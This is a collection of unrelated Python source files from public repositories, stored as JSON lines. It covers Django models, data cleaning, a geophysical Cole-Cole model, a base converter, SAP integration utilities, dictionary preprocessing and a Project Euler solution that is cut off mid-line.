+{"seq_id":"6479524872","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models\n\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.models import (\n    BaseUserManager, AbstractBaseUser\n)\n\nfrom django.contrib.auth.models import PermissionsMixin\nfrom django.utils.translation import ugettext as _\nfrom django.utils.safestring import mark_safe\n\n\n# Create your models here.\n\n\nclass Menu(models.Model):\n    \"\"\"菜单\"\"\"\n    name = models.CharField(max_length=32)\n    url_type_choices = ((0, 'alias'), (1, 'absolute_url'))\n    url_type = models.SmallIntegerField(choices=url_type_choices)\n    url_name = models.CharField(max_length=64)\n\n    def __unicode__(self):\n        return self.name\n\n    class Meta:\n        verbose_name_plural = \"菜单\"\n        verbose_name = \"菜单\"\n\n\nclass namespace(models.Model):\n    namespace_name = models.CharField(max_length=32, verbose_name=\"命名空间\")\n\n    # result_from_api_name = models.TextField(max_length=10240, verbose_name=\"所有返还结果\")\n\n    def __unicode__(self):\n        return self.namespace_name\n\n    class Meta:\n        verbose_name_plural = \"命名空间\"\n        verbose_name = \"命名空间\"\n\n\nclass All_api_for_k8s(models.Model):\n    api_name = models.CharField(max_length=128)\n    menu_name = models.ForeignKey(\"Menu\", verbose_name=\"菜单名称\")\n    # namespace_type = models.ForeignKey(\"namespace\", verbose_name=\"所属命名空间\")\n\n    # result_from_api_name = models.TextField(max_length=10240, verbose_name=\"所有返还结果\")\n    def __unicode__(self):\n        return self.api_name\n\n    class Meta:\n        verbose_name_plural = \"api名称\"\n        verbose_name = \"api名称\"\n\n\nclass result(models.Model):\n    api = models.ForeignKey(\"All_api_for_k8s\")\n    namespace = models.ForeignKey(\"namespace\")\n    result_from_api_name = models.TextField(max_length=10240, verbose_name=\"所有返还结果\",null=True,blank=True)\n\n    def __unicode__(self):\n        return \"结果\"\n\n    class Meta:\n        verbose_name_plural = \"返还结果\"\n        verbose_name = \"返还结果\"\n\n\nclass Show_content(models.Model):\n    content_name = models.CharField(max_length=32)\n    menu_name = models.ForeignKey(\"Menu\", verbose_name=\"菜单名称\")\n\n    def __unicode__(self):\n        return self.content_name\n\n    class Meta:\n        verbose_name_plural = \"需要显示的行\"\n        verbose_name = \"需要显示的行\"\n\n\nclass Role(models.Model):\n    \"\"\"角色表\"\"\"\n    name = models.CharField(max_length=32, unique=True)\n    menus = models.ManyToManyField(\"Menu\", blank=True)\n\n    def __unicode__(self):\n        return self.name\n\n    class Meta:\n        verbose_name_plural = \"角色\"\n\n\nclass UserProfileManager(BaseUserManager):\n    def create_user(self, email, name, password=None):\n        \"\"\"\n        Creates and saves a User with the given email, date of\n        birth and password.\n        \"\"\"\n        if not email:\n            raise ValueError('Users must have an email address')\n\n        user = self.model(\n            email=self.normalize_email(email),\n            name=name,\n        )\n\n        user.set_password(password)\n        self.is_active = True\n        user.save(using=self._db)\n        return user\n\n    def create_superuser(self, email, name, password):\n        \"\"\"\n        Creates and saves a superuser with the given email, date of\n        birth and password.\n        \"\"\"\n        user = self.create_user(\n            email,\n            password=password,\n            name=name,\n        )\n        user.is_active = True\n        user.is_admin = True\n        user.save(using=self._db)\n        return user\n\n\nclass UserProfile(AbstractBaseUser, PermissionsMixin):\n    \"\"\"账号表\"\"\"\n    email = models.EmailField(\n        verbose_name='email address',\n        max_length=255,\n        unique=True,\n        null=True\n    )\n    password = models.CharField(_('password'), max_length=128, help_text=mark_safe(\"\"\"<a href=\"password\">修改密码</a>\"\"\"))\n    name = models.CharField(max_length=32)\n    is_active = models.BooleanField(default=True)\n    is_admin = models.BooleanField(default=False)\n    roles = models.ManyToManyField(\"Role\", blank=True)\n    objects = UserProfileManager()\n    USERNAME_FIELD = 'email'\n    REQUIRED_FIELDS = ['name']\n\n    def get_full_name(self):\n        # The user is identified by their email address\n        return self.email\n\n    def get_short_name(self):\n        # The user is identified by their email address\n        return self.email\n\n    def __unicode__(self):  # __unicode__ on Python 2\n        return self.email\n\n    # def has_perm(self, perm, obj=None):\n    #     \"Does the user have a specific permission?\"\n    #     # Simplest possible answer: Yes, always\n    #     return True\n\n    # def has_module_perms(self, app_label):\n    #     \"Does the user have permissions to view the app `app_label`?\"\n    #     # Simplest possible answer: Yes, always\n    #     return True\n\n    @property\n    def is_staff(self):\n        \"Is the user a member of staff?\"\n        # Simplest possible answer: All admins are staff\n        return self.is_admin\n\n    class Meta:\n        permissions = (\n            ('show_table', '查看table'),\n\n        )\n","repo_name":"so1so2so/Easyk8s","sub_path":"k8sproject/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"33906522830","text":"import pandas as pd\nimport numpy as np\nimport string\n#import json files\nimport json\nimport os.path\n\n# filenames.txt contains the names of .json files \n# Save names into variable file_names\nmypath = os.path.abspath(os.path.dirname('filenames.txt'))\n\nfilepath = os.path.join(mypath, \"filenames.txt\")\nf = open(filepath, mode=\"r\")\nfile_names = []\nfor line in f:\n    file_names.append(line.rstrip())\nf.close()\n\n#Read stoies into a data frame each story is a row of string\ndata_raw = []\nfor names in file_names:\n    path = os.path.join(mypath, \"data\", names)\n    f = open(path, \"r\")\n    story_line = json.load(f)\n    data_raw.append([names, story_line[\"results\"][\"transcripts\"][0][\"transcript\"]])\n    f.close()\n\n\n    #Eclude empty strings:\ndata = []\nfor i, line in enumerate(data_raw):\n    if not data_raw[i][1]:\n        continue\n    else:\n        data.append(line)\n\n#Save the file to .csv file:\ndata_noempty = pd.DataFrame(data, columns=['filename', 'text'])\ndata_noempty.to_csv('data_raw.csv')\n\n#modify file names to extract common part\ndata = pd.read_csv('data_raw.csv')\nn = len(data)\nanothername = []\nfor i in range(n):\n    if data.iloc[i, 1][:-14][-1] == '-':\n        anothername.append(data.iloc[i,1][:-15])\n    else:\n        anothername.append(data.iloc[i,1][:-14])\n#save another name to data frame\ndata['anothername'] = anothername \n\n#Add another column showing the number of words in the text\nwdlen = []\nfor line in data[\"text\"]:\n    wdlen.append(len(line.split()))\ndata['word_len'] = wdlen\n\n# find the rows group by another name where text length is the biggest\nidx = data.groupby(['anothername'])['word_len'].transform(max) == data['word_len']\ndata = data[idx]\ndata_clean = data[['filename', 'text']].copy()\n\n#Create the data_clean.csv file\ndata_clean.to_csv('data_clean_long.csv')\n","repo_name":"jinnyd/TopicModelling","sub_path":"CleanData.py","file_name":"CleanData.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70580910187","text":"# *-* coding: utf-8 *-*\n\"\"\"\nCole-Cole model after Tarasov and Titov, 2013\n\nTarasov, A. and Titov, K. (2013). On the use of the Cole–Cole equations\nin spectral induced polarization. Geophys J Int, 195(1):352-356.\ndoi: 10.1093/gji/ggt251\n\"\"\"\nimport numpy as np\nimport sip_models.sip_response as sip_response\n\n\ndef _make_list(number_or_list):\n    # return the object enclosed in a list if its not a tuple or list\n    if isinstance(number_or_list, (tuple, list)):\n        return number_or_list\n    else:\n        return [number_or_list, ]\n\n\nclass cc_base(object):\n    \"\"\"\n    Base class for Cole-Cole objects (conductivity)\n    \"\"\"\n    def __init__(self, frequencies):\n        self.f = frequencies\n\n    def _sort_parameters(self, parameters):\n        # type 1\n        if isinstance(parameters, (list, tuple, np.ndarray)):\n            pars = np.atleast_1d(parameters)\n            nr_pars = int((pars.shape[0] - 1) / 3)\n\n            sigmai = pars[0]\n            m = pars[1:nr_pars + 1]\n            tau = pars[nr_pars + 1: 2 * nr_pars + 1]\n            c = pars[2 * nr_pars + 1:]\n\n        elif isinstance(parameters, dict):\n            sigmai = parameters['sigmai']\n            m = _make_list(parameters['m'])\n            tau = _make_list(parameters['tau'])\n            c = _make_list(parameters['c'])\n        else:\n            print(parameters)\n            raise Exception('Input format not recognized')\n\n        return sigmai, m, tau, c\n\n    def _set_parameters(self, parameters):\n        \"\"\"Sort out the various possible parameter inputs and return a config\n        object (dict)\n\n        We have multiple input formats:\n\n        1) a list, tuple, or numpy.ndarray, containing the linear parameters\n        in the following order:\n            for single term: sigmai, m1, tau1, c1\n            for multiple terms: sigmai, m1, m2, ..., tau1, tau2, ..., c1, c2,\n            ...\n\n        2) a dictionary with the entries \"sigmai\", \"m\", \"tau\", \"c\"\n\n        2b) if the dictionary entries for \"m\", \"tau\", and \"c\" are lists, the\n        entries correspond to mulitple polarisazion terms\n\n        \"\"\"\n        nr_f = self.f.size\n\n        # sort out parameters\n        sigmai, m, tau, c = self._sort_parameters(parameters)\n\n        newsize = (nr_f, len(m))\n        # sigmai_resized = np.resize(sigmai, newsize)\n        m_resized = np.resize(m, newsize)\n        tau_resized = np.resize(tau, newsize)\n        c_resized = np.resize(c, newsize)\n\n        omega = np.atleast_2d(2 * np.pi * self.f).T\n        self.w = np.resize(omega, (len(m), nr_f)).T\n        self.sigmai = sigmai\n        self.m = m_resized\n        self.tau = tau_resized\n        self.c = c_resized\n        self.sigma0 = (1 - self.m) * self.sigmai\n\n        # compute some common terms\n        self.otc = (self.w * self.tau) ** self.c\n        self.otc1 = (self.w * self.tau) ** (self.c - 1)\n        self.otc2 = (self.w * self.tau) ** (2 * self.c)\n        self.ang = self.c * np.pi / 2.0  # rad\n        # numerator and denominator\n        self.num = 1 + self.otc * np.cos(self.ang)\n        self.denom = 1 + 2 * self.otc * np.cos(self.ang) + self.otc2\n\n\nclass cc(cc_base):\n\n    def response(self, parameters):\n        r\"\"\"Return the forward response in base dimensions\n        :math:`\\hat{\\sigma }(\\omega ) = \\sigma _\\infty \\left(1 - \\sum_i \\frac\n        {m_i}{1 + (j \\omega \\tau_i)^c_i}\\right)`\n\n        Parameters\n        ----------\n        pars:\n\n        Returns\n        -------\n        response: Nx2 array, first axis denotes frequencies, seconds real and\n                  imaginary parts\n        \"\"\"\n        # get a config object\n        self._set_parameters(parameters)\n        terms = self.m / (1 + (1j * self.w * self.tau) ** self.c)\n        # sum up terms\n        specs = np.sum(terms, axis=1)\n        ccomplex = self.sigmai * (1 - specs)\n\n        response = sip_response.sip_response(self.f, ccomplex=ccomplex)\n\n        return response\n\n    def dre_dsigmai(self, pars):\n        r\"\"\"\n        :math:Add formula\n        \"\"\"\n        self._set_parameters(pars)\n        terms = self.m * self.num / self.denom\n        specs = np.sum(terms, axis=1)\n        result = 1 - specs\n\n        return result\n\n    def dre_dlog10sigmai(self, pars):\n        # first call the linear response to set the parameters\n        linear_response = self.dre_dsigmai(pars)\n        result = np.log(10) * self.sigmai * linear_response\n        return result\n\n    def dre_dm(self, pars):\n        r\"\"\"\n        :math:Add formula\n        \"\"\"\n        self._set_parameters(pars)\n        terms = self.num / self.denom\n        result = - self.sigmai * terms\n\n        return result\n\n    def dre_dlog10m(self, pars):\n        # first call the linear response to set the parameters\n        lin_response = self.dre_dm(pars)\n        result = np.log(10) * self.m * lin_response\n        return result\n\n    def dre_dtau(self, pars):\n        r\"\"\"\n        :math:Add formula\n        \"\"\"\n        self._set_parameters(pars)\n        # term 1\n        num1 = self.c * self.w * self.otc1 * np.cos(self.ang)\n        term1 = num1/self.denom\n\n        # term 2\n        num2a = self.otc * np.cos(self.ang)\n        num2b = 1 + num2a\n        denom2 = self.denom ** 2\n        term2 = num2b / denom2\n\n        # term 3\n        term3 = 2 * self.c * self.w * self.otc1 * np.cos(self.ang) + self.otc2\n\n        result = self.sigmai * self.m * (term1 + term2 * term3)\n\n        return result\n\n    def dre_dlog10tau(self, pars):\n        # first call the linear response to set the parameters\n        lin_response = self.dre_dtau(pars)\n        result = np.log(10) * self.tau * lin_response\n        return result\n\n    def dre_dc(self, pars):\n        r\"\"\"\n        :math:Add formula\n        \"\"\"\n        self._set_parameters(pars)\n        # term 1\n        num1a = np.log(self.w * self.tau) * self.otc * np.sin(self.ang)\n        num1b = self.otc * np.cos(self.ang) * np.pi / 2.0\n        term1 = (num1a + num1b) / self.denom\n\n        # term 2\n        num2 = self.otc * np.sin(self.c / np.pi) * 2\n        denom2 = self.denom ** 2\n        term2 = num2 / denom2\n\n        # term 3\n        num3a = 2 * np.log(self.w * self.tau) * self.otc * np.cos(self.ang)\n        num3b = 2 * ((self.w * self.tau) ** 2) * np.pi / 2.0 * np.sin(self.ang)\n        num3c = 2 * np.log(self.w * self.tau) * self.otc2\n        term3 = num3a - num3b + num3c\n\n        result = self.sigmai * self.m * (term1 + term2 * term3)\n\n        return result\n\n    def dim_dsigmai(self, pars):\n        r\"\"\"\n        :math:Add formula\n        \"\"\"\n        self._set_parameters(pars)\n        result = np.sum(- self.m * self.otc * np.sin(self.ang) / self.denom,\n                        axis=1)\n\n        return result\n\n    def dim_dlog10sigmai(self, pars):\n        # first call the linear response to set the parameters\n        lin_response = self.dim_dsigmai(pars)\n        result = np.log(10) * self.sigmai * lin_response\n        return result\n\n    def dim_dm(self, pars):\n        r\"\"\"\n        :math:Add formula\n        \"\"\"\n        self._set_parameters(pars)\n        num1 = self.otc * np.sin(self.ang)\n        result = -self.sigmai * num1 / self.denom\n\n        return result\n\n    def dim_dlog10m(self, pars):\n        # first call the linear response to set the parameters\n        lin_response = self.dim_dm(pars)\n        result = np.log(10) * self.m * lin_response\n        return result\n\n    def dim_dtau(self, pars):\n        r\"\"\"\n        :math:Add formula\n        \"\"\"\n        self._set_parameters(pars)\n        # term 1\n        num1 = -self.m * (self.w ** self.c) * self.c\\\n            * (self.tau ** (self.c - 1)) * np.sin(self.ang)\n        term1 = self.sigmai * num1 / self.denom\n\n        # term 2\n        num2a = -self.m * self.otc * np.sin(self.ang)\n        num2b = 2 * (self.w ** 2.0) * self.c * (self.tau ** (self.c - 1)) *\\\n            np.cos(self.ang)\n        num2c = 2 * self.c * (self.w ** (self.c * 2)) *\\\n            (self.tau ** (2 * self.c - 1))\n        term2 = self.sigma0 * num2a * (num2b + num2c) / (self.denom ** 2)\n\n        result = term1 + term2\n\n        return result\n\n    def dim_dlog10tau(self, pars):\n        # first call the linear response to set the parameters\n        lin_resp = self.dim_dtau(pars)\n        result = np.log(10) * self.tau * lin_resp\n        return result\n\n    def dim_dc(self, pars):\n        r\"\"\"\n        :math:Add formula\n        \"\"\"\n        self._set_parameters(pars)\n        # term 1\n        num1a = self.m * np.sin(self.ang) * np.log(self.w * self.tau)\\\n            * self.otc\n        num1b = self.m * self.otc * np.pi / 2 * np.cos(np.pi / 2)\n        term1 = self.sigma0 * (-num1a - num1b) / self.denom\n\n        # term 2\n        num2a = -self.m * self.otc * np.cos(self.ang)\n        num2b = -2 * np.log(self.w * self.tau) * self.otc * np.cos(self.ang)\n        num2c = 2 * self.otc * np.pi / 2 * np.cos(self.ang)\n        num2d = 2 * np.log(self.w * self.tau) * self.otc2\n        numerator = num2a * (num2b + num2c) + num2d\n        term2 = self.sigma0 * numerator / (self.denom ** 2)\n\n        result = term1 + term2\n\n        return result\n\n    def test_derivatives(self):\n        parameters = {\n            'sigmai': 0.01,\n            'm': 0.1,\n            'tau': 0.04,\n            'c': 0.8\n        }\n        # parameters = {\n        #     'sigmai': 0.01,\n        #     'm': (0.15, 0.2),\n        #     'tau': (0.4, 0.004),\n        #     'c': (0.5, 0.8),\n        # }\n        print(self.dre_dsigmai(parameters))\n        print(self.dre_dm(parameters))\n        print(self.dre_dtau(parameters))\n        print(self.dre_dc(parameters))\n\n        print(self.dim_dsigmai(parameters))\n        print(self.dim_dm(parameters))\n        print(self.dim_dtau(parameters))\n        print(self.dim_dc(parameters))\n","repo_name":"m-weigand/sip_models","sub_path":"lib/sip_models/cond/cc.py","file_name":"cc.py","file_ext":"py","file_size_in_byte":9662,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"30831825871","text":"l1=[3,1,5,4,2]\nl2=[]\nl3=[]\n'''for i in l1:\n    if i%2==0:\n        l2.insert(i,i%2==0)\n    else:\n        l2.insert(i,i)\nprint(l2)'''\nfor i in l1:\n    if i%2==0:\n        l2.append(i)\n    else:\n        l3.append(i)\nl2.sort()\nl3.sort()\nprint('Even Numbers in sorted order : ',l2)\nprint('Odd Numbers in sorted order : ',l3)","repo_name":"sandeshgajare55/LiveTraining","sub_path":"Assingment_5/New_list.py","file_name":"New_list.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"5046459812","text":"from error import BaseError\nfrom baser import BaseConvert\n\n\n\nclass Octadecimal(BaseError, BaseConvert):\n    \n    def __init__(self,):\n        check = False\n        while check == False:\n            try:\n                self.biny = int(input(\"Input a octadecimal Number: \")) \n                self.biny = Octadecimal.convert_int_to_list(self.biny)\n                check = Octadecimal.error_octa(self.biny)\n                if check == False:\n                    print(\"Those are not octadecimal numbers\")\n            except ValueError:\n                print(\"That is not a number at all\")\n                check = False\n        self.option = 10001\n        while (check == False) or not(0<self.option<4):\n            try:\n                self.option = int(input(\"Input your option: \"))\n                if (0<self.option<4):\n                    check = True\n                else:\n                    print(\"Option not in the range\")\n                    check = False\n            except ValueError:\n                print(\"This is not a number at all\")\n                check = False\n        \n    def Confirm(self,):\n        j = Octadecimal.convert_from_octadecimal_to_denary(self.biny)\n        if self.option == 1:\n            print(\"The octadecimal equivalent of \", self.biny,\"in denary is\",j)\n        if self.option == 2:\n           j = Octadecimal.convert_from_denary_to_binary(j)\n           print(\"The octadecimal equivalent of\",self.biny,\"in binary is\",j)\n        if self.option == 3:\n            j = Octadecimal.convert_from_denary_to_hexadecimal(j)\n            print(\"The octadecimal equivalent of\",self.biny,\"in hexadecimal is\",j)\n        \n    \n\nmon = Octadecimal()\nmon.Confirm()\n\n","repo_name":"Ddilibe/Python-Miniprojects","sub_path":"Base Converter/octa.py","file_name":"octa.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72725594028","text":"import os\nimport time\n#import pyrfc\nimport json\nfrom datetime import datetime\nfrom pymongo import MongoClient\nimport urllib.parse\nimport pandas as pd\nimport requests\nimport openpyxl\nfrom ruamel.yaml import YAML\n\nclass Utilities():\n    # A class to host the functional utility modules.\n\n    def write_to_a_txt(self, write_data, file_name):\n\n        # A function to write data to any sort of file.\n        def_filename = open(file_name, 'w+')\n        def_filename.write(write_data)\n        def_filename.close()\n        return\n    \n    def read_json_file(self, file_name):\n\n        # A function to read values of a json file.\n        d_filename = file_name\n        d_filedata = open(d_filename, 'r')\n        json_load = json.loads(d_filedata.read())\n        return json_load\n    \n    def write_json_file(self, filename, data_to_write):\n        \n        # A function to write values to a json file\n        # Serializing json\n        json_object = json.dumps(data_to_write, indent=4)\n \n        # Writing to sample.json\n        with open(filename, \"w\") as outfile:\n            outfile.write(json_object)\n        \n        return\n    \n    def convert_wa_to_list(self, wa_data):\n        \n        # A function to convert rfc data into a nested list\n        table_length = len(wa_data)\n        i = 0\n        po_list = []\n        \n        # break down the raw data into nested lists for data processing\n        for p_o in range(table_length):\n\n            data_to_add = wa_data[i]['WA']\n            data_split = data_to_add.split(\"|\")\n            po_list.append(data_split)\n            i = i + 1\n        \n        return po_list\n    \n    def current_date(self):\n        # A function to return the current time\n        \n        # Get the current time in seconds since the epoch\n        current_time = time.time()\n\n        # Convert the current time to a struct_time object\n        time_struct = time.localtime(current_time)\n\n        # Extract the year, month, and day from the struct_time object\n        year = time_struct.tm_year\n        month = time_struct.tm_mon\n        day = time_struct.tm_mday\n\n        # Format the date string in the desired format\n        date_str = f\"{year:04}-{month:02}-{day:02}\"\n\n        # Print the date string\n        return date_str\n    \n    def date_range(self, month_number):\n        \n        import datetime\n        \n        # A function to generate a range of dates in a given month\n        \n        month_number = int(month_number)\n        \n        # Set the start and end dates\n        start_date = datetime.date(2023, month_number, 1)\n        end_date = datetime.date(2023, (month_number + 1), 1)\n\n        # Generate a list of dates between the start and end dates\n        date_list = [start_date + datetime.timedelta(days=x) for x in range((end_date - start_date).days)]\n\n        # Convert each date to the desired format (yyyymmdd)\n        date_list_formatted = [date.strftime('%Y%m%d') for date in date_list]\n        \n        # return the date range\n        return date_list_formatted\n    \n    \n    def time_range(self, minutes_before):\n        \n        # A function to generate a range of time values for the past variable minutes.\n        # Get the current time\n        now = datetime.datetime.now()\n\n        # Calculate the start time (30 minutes ago)\n        start_time = now - datetime.timedelta(minutes=30)\n\n        # Create a list to store the time values\n        time_list = []\n\n        # Loop through the time range and append the time values to the list\n        while start_time <= now:\n            time_str = start_time.strftime(\"%H%M%S\")\n            time_list.append(time_str)\n            start_time += datetime.timedelta(seconds=1)\n\n        # Return the time list\n        return time_list\n    \n    def read_yaml(self, yaml_file):\n        # A function to read any input yaml file\n        \n        # loading the yaml object\n        yaml = YAML()\n        \n        # reading the input file and returning the parameters\n        config_file_read = open(yaml_file).read()\n        config_parameters = yaml.load(config_file_read)\n        \n        # return the yaml contents\n        return config_parameters\n    \n    def write_yaml(self, yaml_file, parameters):\n        # A function to write any output to a yaml file\n        \n        # loading the yaml object\n        yaml = YAML()\n        \n        # writing the yaml file\n        file_write = open(yaml_file, \"w\")\n        yaml.dump(parameters, file_write)\n        file_write.close()\n        \n        return\n    \n    def send_requests(self, outputData, filename):\n        \n        print(\"---REQUESTS---START---\")\n        # A function to send json data using the requests library        \n        sheaders = {'Content-Type': 'application/json'}\n        \n        # read from the EKS creds file\n        filePath  =\"/home/SAPITSM/finalsapdemo/config/eks_cred.json\"\n        \n        serverData = self.read_json_file(filePath)\n        \n        sProtocol = str(serverData['serverProtocol'])\n        sIP = str(serverData['serverIP'])\n        sPort = str(serverData['serverPort'])\n        sApi = str(serverData['serverEndpoint'])\n        \n        serverUrl = sProtocol + \"://\" + sIP + \":\" + sPort + sApi\n        \n        print(serverUrl)\n        \n        try:\n            print(\"-------------Try block ----------------\")\n            with open(filename, 'rb') as file:\n                exception_file = {'file': file}\n                output_data = {'json_data': json.dumps([outputData])}\n                response = requests.post(serverUrl, files=exception_file, data=output_data, timeout=8)\n            \n            if response.status_code == 200:\n                print('File and JSON data successfully sent.')\n            else:\n                print('An error occurred while sending the file and JSON data.')\n            # with open(file_path, 'rb') as file:\n            #     files = {'file': file}\n                # print(\"---TRY---\")\n                # re = requests.post(serverUrl, json = outputData, files=files, headers = sheaders, verify=True, timeout=8)\n            \n            # payload = {'data': json.dumps(outputData)}\n            # attachment = {'file': open(file_path, 'rb')}\n            # re = requests.post(serverUrl, data=payload, files=attachment)\n            \n            # with open(file_path, 'rb') as file:\n            #     file_data = file.read()\n            \n            # files = {\n            #     'file': (file_path, file_data, 'text/plain')\n            # }\n            \n            # payload = {\n            #     'data': json.dumps(outputData)\n            #     # 'files': files\n            # }\n            \n            # print(\"---TRY---\")\n            # re = requests.post(serverUrl, json = outputData,  headers = sheaders, verify=True, timeout=8)\n            \n            # # re = requests.post(serverUrl, data=payload)\n            # print(re)            \n            \n            # print(\"---SENT---\")               \n            # print(f\"Status Code: {re.status_code}, Response: {re.json()}\") \n            # re.raise_for_status()\n        \n        except requests.exceptions.RequestException as e:\n            print(\"-----HTTP Exception-----\")\n            print('Failed to send the file:', e)\n        except IOError as e:\n            print(\"-----File Exception-----\")\n            print('File error:', e)\n        except Exception as e:\n            print(\"---Other EXCEPTIONS---\")\n            print(\"Error occured while sending data to the server.\")\n            print(e)\n    \n    def send_file_and_json(filename, json_data, url):\n        # Got it from Jeevesh\n        \n        with open(filename, 'rb') as file:\n            files = {'file': file}\n            data = {'json_data': json.dumps([json_data])}\n            response = requests.post(url, files=files, data=data)\n        \n        if response.status_code == 200:\n            print('File and JSON data successfully sent.')\n        else:\n            print('An error occurred while sending the file and JSON data.')   \n    \n    def create_mysql_excel(self, file_name):\n        # A function to create a mysql replacement excel temporarily\n\n        # create a new workbook object\n        wb = openpyxl.Workbook()\n\n        # select the active sheet\n        ws = wb.active\n\n        # write some data to the sheet\n        ws['A1'] = 'Purchase No'\n        ws['B1'] = 'Alert time'        \n\n        # save the workbook to a file\n        wb.save(file_name)  \n        wb.close()    \n        \n        return\n    \n    def read_excel_sheet(self, worksheet_name, sheet_name, column_name):\n        wb = openpyxl.load_workbook(worksheet_name)  # Work Book\n        ws = wb[sheet_name]  # Work Sheet\n        column = ws[column_name]  # Column\n        column_list = [column[x].value for x in range(len(column))]\n        column_list.pop(0)\n        \n        wb.close\n        \n        return column_list \n    \n    def get_rfc_connection(self, creds):\n\n        # A function to do the rfc connection call to get data.\n        rfc_conn = pyrfc.Connection(\n            user = creds['user'],\n            passwd = creds['passwd'],\n            ashost = creds['ashost'],\n            sysnr = creds['sysnr'],\n            client = creds['client'],\n        )\n        return rfc_conn\n    \n    def get_rfc_read_table_for_fields(self, creds, query_table, fields, options):\n\n        rfc_conn = self.get_rfc_connection(creds)\n\n        rfc_data = rfc_conn.call('RFC_READ_TABLE', \n                   QUERY_TABLE=query_table, \n                   DELIMITER='|', \n                   FIELDS=fields,\n                   OPTIONS=options)\n        rfc_conn.close()\n\n        return rfc_data\n    \n    def check_db(self):\n        # A function to check if the database exists. \n        # If not, then create it.\n        # A temporary substitute for DB\n        parser = Utilities()\n        excel_name = 'datastore/DB_temp.xlsx'\n\n        if os.path.isfile(excel_name):\n            print(\"File exists\")\n        else:\n            print(\"File does not exist. Creating...\")\n            parser.create_mysql_excel(excel_name)\n        \n        return\n        \n","repo_name":"kjeevesh/Final_SAP_Demo","sub_path":"Flask_api/utils/sap_itsm_utils.py","file_name":"sap_itsm_utils.py","file_ext":"py","file_size_in_byte":10054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"26757105392","text":"import os\nfrom lib.preprocess import utils\nfrom lib.utils import write_json, load_json\nfrom pretrain.preprocess.config import dictionary_dir\nfrom pretrain.preprocess.dictionary.preprocess_string import process, pipeline, filter_duplicate\n\nfacebook_dir = os.path.join(dictionary_dir, 'muse', 'zh_en')\n\nzh_en_dict_path = os.path.join(facebook_dir, 'zh_en_dict.json')\nen_zh_dict_path = os.path.join(facebook_dir, 'en_zh_dict.json')\n\nzh_en_dict = {}\nen_zh_dict = {}\n\n\ndef __add_dict(_dict, k, v):\n    if k not in _dict:\n        _dict[k] = {'translation': []}\n    _dict[k]['translation'].append(v)\n\n\nfor file_name in os.listdir(facebook_dir):\n    file_path = os.path.join(facebook_dir, file_name)\n    print(f'reading from {file_path} ...')\n\n    suffix = os.path.splitext(file_name)[1].lower()\n    if suffix == '.json':\n        data = load_json(file_path)\n\n        if file_name[:2].lower() == 'zh':\n\n            for zh, val in data.items():\n                zh = process(zh, pipeline)\n\n                ens = val['translation']\n                for en in ens:\n                    en = process(en, pipeline)\n\n                    __add_dict(zh_en_dict, zh, en)\n                    __add_dict(en_zh_dict, en, zh)\n\n        else:\n            for en, val in data.items():\n                en = process(en, pipeline)\n\n                zhs = val['translation']\n                for zh in zhs:\n                    zh = process(zh, pipeline)\n\n                    __add_dict(zh_en_dict, zh, en)\n                    __add_dict(en_zh_dict, en, zh)\n\n    else:\n        # read data\n        lines = utils.read_lines(file_path)\n        lines = list(map(lambda x: x.strip().split(' '), lines))\n        lines = list(filter(lambda x: x and len(x) == 2, lines))\n\n        if file_name[:2].lower() == 'zh':\n            for zh, en in lines:\n                zh = process(zh, pipeline)\n                en = process(en, pipeline)\n\n                __add_dict(zh_en_dict, zh, en)\n                __add_dict(en_zh_dict, en, zh)\n\n        else:\n            for en, zh in lines:\n                zh = process(zh, pipeline)\n                en = process(en, pipeline)\n\n                __add_dict(zh_en_dict, zh, en)\n                __add_dict(en_zh_dict, en, zh)\n\nprint('filtering duplicate ...')\n\nzh_en_dict = filter_duplicate(zh_en_dict)\nen_zh_dict = filter_duplicate(en_zh_dict)\n\nprint('writing dictionary to files ... ')\n\nwrite_json(zh_en_dict_path, zh_en_dict)\nwrite_json(en_zh_dict_path, en_zh_dict)\n\nprint('\\ndone')\n","repo_name":"SamuelLAN/DLM","sub_path":"pretrain/preprocess/dictionary/facebook_muse.py","file_name":"facebook_muse.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"35269457001","text":"\"\"\"\nProject Euler\nProblem 49\nPrime permutations\n\nThe arithmetic sequence, 1487, 4817, 8147, in which each of the terms increases by 3330,\nis unusual in two ways:\n(i) each of the three terms are prime, and,\n(ii) each of the 4-digit numbers are permutations of one another.\n\nThere are no arithmetic sequences made up of three 1-, 2-, or 3-digit primes,\nexhibiting this property, but there is one other 4-digit increasing sequence.\n\nWhat 12-digit number do you form by concatenating the three terms in this sequence?\n\nauthor:  Adam Shechter\n\"\"\"\n\nfrom itertools import permutations\nimport math\n\n\ndef main():\n    print(prime_permutations(4))\n\n\ndef prime_permutations(dig_len):\n    four_digit_primes = []\n    answers = []\n    for n in range(1000, 10000):\n        if is_prime(n):\n            four_digit_primes.append(n)\n    for prime in four_digit_primes:\n        prime_perms = set()\n        all_prime_perms = [int(\"\".join(x)) for x in list(permutations(str(prime)))]\n        # print(all_prime_perms)\n        for prime2 in all_prime_perms:\n            if prime2 in four_digit_primes:\n                prime_perms.add(prime2)\n            prime_perms2 = sorted(prime_perms)\n            for i1 in range(len(prime_perms2)-1):\n                for i2 in range(i1+1, len(prime_perms2)-1):\n                    prime_diff = abs(prime_perms2[i1] - prime_perms2[i2])\n                    if (prime_perms2[i2] + prime_diff) in prime_perms2:\n                        answer_tuple = (prime_perms2[i1], prime_perms2[i2], prime_perms2[i2] + prime_diff)\n                        if answer_tuple not in answers:\n                            answers.append(answer_tuple)\n    return answers\n\n\ndef is_prime(n):\n    # 1 is not a prime\n    if n == 1:\n        return False\n    if n == 2 or n == 3 or n 